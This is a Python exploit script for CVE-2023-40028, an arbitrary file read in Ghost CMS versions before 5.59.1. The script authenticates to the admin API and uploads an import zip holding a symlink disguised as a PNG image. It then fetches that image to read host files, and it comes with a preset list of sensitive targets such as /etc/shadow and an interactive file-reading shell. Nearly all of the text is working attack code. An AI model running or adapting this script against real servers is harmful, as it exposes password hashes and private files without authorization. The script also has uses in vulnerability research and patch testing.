#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read
# Date: 2023-09-20
# Exploit Author: ibrahimsql (https://github.com/ibrahmsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.59.1
# Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur
# CVE: CVE-2023-40028
# Category: Web Application Security
# CVSS Score: 6.5 (Medium)
# Description:
# Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users
# to upload files that are symlinks. This can be exploited to perform arbitrary file reads
# of any file on the host operating system. The vulnerability exists in the file upload
# mechanism which improperly validates symlink files, allowing attackers to access files
# outside the intended directory structure through symlink traversal.
# Requirements: requests>=2.28.1, zipfile, tempfile
# Usage Examples:
# python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123
# python3 CVE-2023-40028.py https://ghost.example.com user@domain.com mypassword
# Interactive Usage:
# After running the script, you can use the interactive shell to read files:
# file> /etc/passwd
# file> /etc/shadow
# file> /var/log/ghost/ghost.log
# file> exit
"""
import requests
import sys
import os
import tempfile
import zipfile
import random
import string
from typing import Optional
class ExploitResult:
def __init__(self):
self.success = False
self.file_content = ""
self.status_code = 0
self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read"
self.severity = "Medium"
class GhostArbitraryFileRead:
def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True):
self.ghost_url = ghost_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9'
})
self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
def authenticate(self) -> bool:
"""Authenticate with Ghost CMS admin panel"""
login_data = {
'username': self.username,
'password': self.password
}
headers = {
'Origin': self.ghost_url,
'Accept-Version': 'v3.0',
'Content-Type': 'application/json'
}
try:
response = self.session.post(
f"{self.api_url}/session/",
json=login_data,
headers=headers,
timeout=10
)
if response.status_code == 201:
if self.verbose:
print("[+] Successfully authenticated with Ghost CMS")
return True
else:
if self.verbose:
print(f"[-] Authentication failed: {response.status_code}")
return False
except requests.RequestException as e:
if self.verbose:
print(f"[-] Authentication error: {e}")
return False
def generate_random_name(self, length: int = 13) -> str:
"""Generate random string for image name"""
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def create_exploit_zip(self, target_file: str) -> Optional[str]:
"""Create exploit zip file with symlink"""
try:
# Create temporary directory
temp_dir = tempfile.mkdtemp()
exploit_dir = os.path.join(temp_dir, 'exploit')
images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
os.makedirs(images_dir, exist_ok=True)
# Generate random image name
image_name = f"{self.generate_random_name()}.png"
symlink_path = os.path.join(images_dir, image_name)
# Create symlink to target file
os.symlink(target_file, symlink_path)
# Create zip file
zip_path = os.path.join(temp_dir, 'exploit.zip')
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(exploit_dir):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, temp_dir)
zipf.write(file_path, arcname)
return zip_path, image_name
except Exception as e:
if self.verbose:
print(f"[-] Error creating exploit zip: {e}")
return None, None
def upload_exploit(self, zip_path: str) -> bool:
"""Upload exploit zip file to Ghost CMS"""
try:
headers = {
'X-Ghost-Version': '5.58',
'X-Requested-With': 'XMLHttpRequest',
'Origin': self.ghost_url,
'Referer': f"{self.ghost_url}/ghost/"
}
with open(zip_path, 'rb') as f:
files = {
'importfile': ('exploit.zip', f, 'application/zip')
}
response = self.session.post(
f"{self.api_url}/db",
files=files,
headers=headers,
timeout=30
)
if response.status_code in [200, 201]:
if self.verbose:
print("[+] Exploit zip uploaded successfully")
return True
else:
if self.verbose:
print(f"[-] Upload failed: {response.status_code}")
return False
except requests.RequestException as e:
if self.verbose:
print(f"[-] Upload error: {e}")
return False
def read_file(self, target_file: str) -> ExploitResult:
"""Read arbitrary file using symlink upload"""
result = ExploitResult()
if not self.authenticate():
return result
if self.verbose:
print(f"[*] Attempting to read file: {target_file}")
# Create exploit zip
zip_path, image_name = self.create_exploit_zip(target_file)
if not zip_path:
return result
try:
# Upload exploit
if self.upload_exploit(zip_path):
# Try to access the symlinked file
file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
response = self.session.get(file_url, timeout=10)
if response.status_code == 200 and len(response.text) > 0:
result.success = True
result.file_content = response.text
result.status_code = response.status_code
if self.verbose:
print(f"[+] Successfully read file: {target_file}")
print(f"[+] File content length: {len(response.text)} bytes")
else:
if self.verbose:
print(f"[-] Failed to read file: {response.status_code}")
except Exception as e:
if self.verbose:
print(f"[-] Error during exploit: {e}")
finally:
# Cleanup
try:
if zip_path and os.path.exists(zip_path):
os.remove(zip_path)
temp_dir = os.path.dirname(zip_path) if zip_path else None
if temp_dir and os.path.exists(temp_dir):
import shutil
shutil.rmtree(temp_dir)
except:
pass
return result
def interactive_shell(self):
"""Interactive shell for file reading"""
print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===")
print("Enter file paths to read (type 'exit' to quit)")
while True:
try:
file_path = input("file> ").strip()
if file_path.lower() == 'exit':
print("Bye Bye!")
break
if not file_path:
print("Please enter a file path")
continue
if ' ' in file_path:
print("Please enter full file path without spaces")
continue
result = self.read_file(file_path)
if result.success:
print(f"\n--- Content of {file_path} ---")
print(result.file_content)
print("--- End of file ---\n")
else:
print(f"Failed to read file: {file_path}")
except KeyboardInterrupt:
print("\nExiting...")
break
except Exception as e:
print(f"Error: {e}")
def main():
if len(sys.argv) != 4:
print("Usage: python3 CVE-2023-40028.py ")
print("Example: python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123")
return
ghost_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True)
# Test with common sensitive files
test_files = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/proc/version",
"/var/log/ghost/ghost.log"
]
print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===")
print(f"Target: {ghost_url}")
print(f"Username: {username}")
# Test authentication first
if not exploit.authenticate():
print("[-] Authentication failed. Please check credentials.")
return
print("\n[*] Testing common sensitive files...")
for test_file in test_files:
result = exploit.read_file(test_file)
if result.success:
print(f"[+] Successfully read: {test_file}")
print(f" Content preview: {result.file_content[:100]}...")
else:
print(f"[-] Failed to read: {test_file}")
# Start interactive shell
exploit.interactive_shell()
if __name__ == "__main__":
main()